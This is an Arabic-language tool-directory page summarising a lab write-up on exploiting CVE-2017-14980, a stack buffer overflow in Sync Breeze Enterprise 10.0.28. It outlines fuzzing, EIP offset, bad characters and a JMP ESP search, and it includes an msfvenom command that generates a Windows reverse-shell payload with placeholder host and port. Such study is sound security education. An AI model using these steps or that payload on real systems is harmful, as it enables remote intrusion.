Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-14980 — دراسة ثغرة تجاوز سعة المخزن المؤقت الكلاسيكية القائمة على المكدس في بيئة مختبرية خاضعة للتحكم لأغراض تعليمية. | Kitploit
أدوات/GitHubGitHub/godoy-sec/cve-2017-14980
الاستغلالمصممي الأخطاءالاختبار العشوائيالتعلم والتعليمتوليد شيفرة القشرةتطوير الحمولاتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubgodoy-sec/cve-2017-14980

CVE-2017-14980

دراسة ثغرة تجاوز سعة المخزن المؤقت الكلاسيكية القائمة على المكدس في بيئة مختبرية خاضعة للتحكم لأغراض تعليمية.

عرض المستودع
1منذ 9 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-14980

Sync Breeze Enterprise 10.0.28 - بحث تجاوز سعة المخزن المؤقت

الهدف

دراسة ثغرة تجاوز سعة المخزن المؤقت الكلاسيكية القائمة على المكدس في بيئة مختبرية خاضعة للتحكم لأغراض تعليمية.

كان الهدف من هذا المشروع هو فهم أفضل لما يلي:

  • تشويش التطبيق (Application Fuzzing)
  • تحليل الانهيار
  • التحكم في EIP
  • تحديد الأحرف غير الصالحة
  • إفساد الذاكرة
  • مسار تنفيذ الشيلكود
  • منهجية تطوير الاستغلال الأساسية

البيئة

  • جهاز افتراضي بنظام Windows 10
  • Sync Breeze Enterprise 10.0.28
  • Immunity Debugger
  • Mona.py
  • Python

إعداد المختبر

تألفت الخطوة الأولى من تثبيت Sync Breeze Enterprise 10.0.28 داخل جهاز افتراضي بنظام Windows 10 مُهيأ لأغراض البحث عن الثغرات وتطوير الاستغلال.

تم عزل البيئة لضمان اختبار آمن وخاضع للتحكم.

تم تكوين الجهازين الافتراضيين (الهدف والمهاجم) باستخدام وضع محول الشبكة الجسري (Bridged Network Adapter) للسماح بالاتصال الشبكي المباشر بين النظامين أثناء عملية الاستغلال.

عميل Sync Breeze

عميل Sync Breeze

صفحة تسجيل الدخول إلى Sync Breeze

تسجيل الدخول إلى Sync Breeze


المنهجية

1. جمع المعلومات

تم تكوين أدوات التصحيح لتحليل سلوك التطبيق أثناء التشغيل ومراقبة ظروف الانهيار.


2. التشويش (Fuzzing)

تم إرسال تسلسلات كبيرة من البايتات إلى التطبيق من أجل تحديد الحجم التقريبي للمخزن المؤقت المطلوب لتحفيز الانهيار.


3. التحقق من الثغرة

بعد تحديد عتبة الانهيار، تم اختبار التطبيق مرة أخرى باستخدام حجم الحمولة المكتشف لتأكيد الثغرة.


4. التحكم في EIP

الإزاحة الدقيقة المطلوبة لاستبدال مؤشر التعليمات (EIP) تم تحديدها.

أنشئ نمطًا فريدًا:

root@kitploit:~
/usr/bin/msf-pattern_create -l <SIZE>

حدد الإزاحة:

root@kitploit:~
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>

حيث:

  • <SIZE> = طول الحمولة المكتشف أثناء التشويش
  • <EIP_VALUE> = القيمة الرباعية البايت التي شوهدت تستبدل EIP

لقطة شاشة للتحكم في EIP

التحكم في EIP


5. تحليل الأحرف غير الصالحة

تم تحديد الأحرف غير الصالحة لمعرفة البايتات التي لا يمكن معالجتها بأمان بواسطة التطبيق.

ملف الأحرف غير الصالحة


6. تحديد عنوان الإرجاع

تم تحديد تعليمة JMP ESP مناسبة في وحدة بدون ASLR مفعّلة.

تعداد الوحدات المحملة:

root@kitploit:~
!mona modules

البحث عن JMP ESP:

root@kitploit:~
!mona find -s "\xff\xe4" -m <MODULE_NAME>

أُعطيت الأفضلية لملفات DLL الخاصة بالتطبيق نظرًا لوجود عناوين ذاكرة ثابتة.

لقطة شاشة لـ Mona JMP ESP

Mona JMP ESP


7. اختبار التنفيذ

تم التحقق من مسار تنفيذ الحمولة لضمان إعادة التوجيه الصحيحة إلى المخزن المؤقت المُتحكم فيه.


8. توليد الشيلكود

تم توليد الشيلكود مع استبعاد الأحرف غير الصالحة المحددة سابقًا.

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c

تمت إضافة منزلق NOP (\x90) قبل الشيلكود لتحسين موثوقية تنفيذ الحمولة.

لقطة شاشة لتنفيذ الحمولة

تنفيذ الحمولة


9. تطوير الاستغلال النهائي

تم تجميع الاستغلال النهائي واختباره بنجاح داخل بيئة المختبر المعزولة.

إخلاء مسؤولية

تم تطوير هذا المشروع بدقة لأغراض تعليمية وبحثية داخل بيئة مختبرية معزولة.

تنزيل الأداة